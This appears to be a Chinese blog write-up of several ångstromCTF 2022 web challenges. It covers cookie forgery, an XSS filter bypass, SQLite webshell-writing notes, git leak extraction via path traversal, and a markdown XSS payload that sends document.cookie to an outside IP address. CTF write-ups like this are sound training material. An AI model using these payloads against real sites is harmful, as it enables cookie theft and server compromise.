ångstromCTF 2022 wp

[ångstromCTF 2022]Auth Skip

if (req.cookies.user === "admin") {
        res.type("text/plain").send(flag);

伪造cookie
user:admin
访问网站根目录

actf{passwordless_authentication_is_the_new_hip_thing}

[ångstromCTF 2022]crumbs

挺好,跑脚本的题目

import requests
import re

url0 = "https://crumbs.web.actf.co/"
lis = ["61f57d99-6d8e-4e5e-bfc1-995dc358fce7"]
proxies = { "http": None, "https": None}        #3.7以后要添加代理池
while True:
    url = url0 + lis[0]
    resp = requests.get(url,proxies=proxies)
    print(resp.text)
    if 'actf{' in resp.text:
        print(resp.text)
        break
    lis = re.findall(r"Go to (.*)",resp.text)
    print("************")
    print(lis[0])
    print("**************")

要1000次

image-20220430162937933

[ångstromCTF 2022]Xtra Salty Sardines

看了半天题,居然没看出这道题目的暗示是xss(有红色高亮),也没发现有bot

结论:认真审题

一开始是通过回显发现</script>标签消失了,然后再排除了长度限制这种可能后,推测后面不会被过滤然后我才试出来的

<script>1<script>alert(1);</script>

发现后仔细阅读代码才发现,是因为replace函数没有加/g,只能匹配到从左到右的第一个

image-20220501172400035

str.replace(regexp|substr, newSubStr|function)

没加/g可以使用replaceall,像他下面的代码那样

随后xss,参考jacko大神的吧:https://www.wolai.com/7GFxCtGFicnsAND2eS3VgX

比较特别的是,这个有同源策略的限制:

[ångstromCTF 2022]No Flags?

sqlite的洞,根据dockerfile可知是要运行/printflag

于是这波学了一下sqlite

  • sqlite rce : 把sqlite变成可执行的恶意文件(也可shell)
  • sqlite 写文件:attach写马(本题正解)
  • sqite load_extension 远程加载恶意拓展(网上资料不是很清楚)

环境搭建

sqlite

build.php

<?php
   class MyDB extends SQLite3
   {
      function __construct()
      {
         $this->open('test.db');
      }
   }
   $db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "Opened database successfully\n";
   }

   $sql =<<<EOF
      CREATE TABLE Flags
      (ID INT PRIMARY KEY     NOT NULL,
      flag           TEXT    NOT NULL);
EOF;

   $ret = $db->exec($sql);
   if(!$ret){
      echo $db->lastErrorMsg();
   } else {
      echo "Table created successfully\n";
   }
   $db->close();
?>

访问一下生成那啥db

之后连上直接开玩

就是新建一个数据库,再建一个表,然后插入木马

建库那里指定路径,表里面设置内容为text和数据类型

前面那坨是固定的

image-20220430175417397

[ångstromCTF 2022]Art Gallery

里面有个目录穿越,../../就到了根目录,不过主要是发现git泄露(题目描述有暗示)

└─$ curl https://art-gallery.web.actf.co/gallery?member=../.git/HEAD
ref: refs/heads/master

要用对工具gakki429/Git_Extract: 提取远程 git 泄露或本地 git 的工具 (github.com)

拉下来就有,在git里面

image-20220430171140169

[ångstromCTF 2022]Secure Vault

代码中user.restricted设置为true,因此需要将其设置为null,发现js代码中有delete功能能够
将users[uid]删除,即user.restricted为null。
我们只需要随便创建账号登录进去,然后复制cookies{token:xxxxx},并delete账户。
回到/vault页面,将名称token和值xxxxx赋予cookies,刷新即可。

image-20220502131248917

[ångstromCTF 2022]cliche

xss,然后提示了markdone,就想到hgame的markdone编辑器了,当时琢磨过类似的payload
其实题目名称是暗示click,想到comfirm事件
Payload

%3Cdiv%20id=%221%0d%0d![](contenteditable/autofocus/onfocus=confirm(window.open('http://8.129.42.140:3307//'%2Bdocument.cookie))//)%22%3E

简单讲一下,![]()这个是图片链接,里面可以用这些contenteditable/autofocus/onfocus来触发js
外面要套一层div,因为他会自动给我们上双引号,双引号和斜杠这些自己看源码调

建议python 监听,因为有时候X的是自己的

image-20220511142813781

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇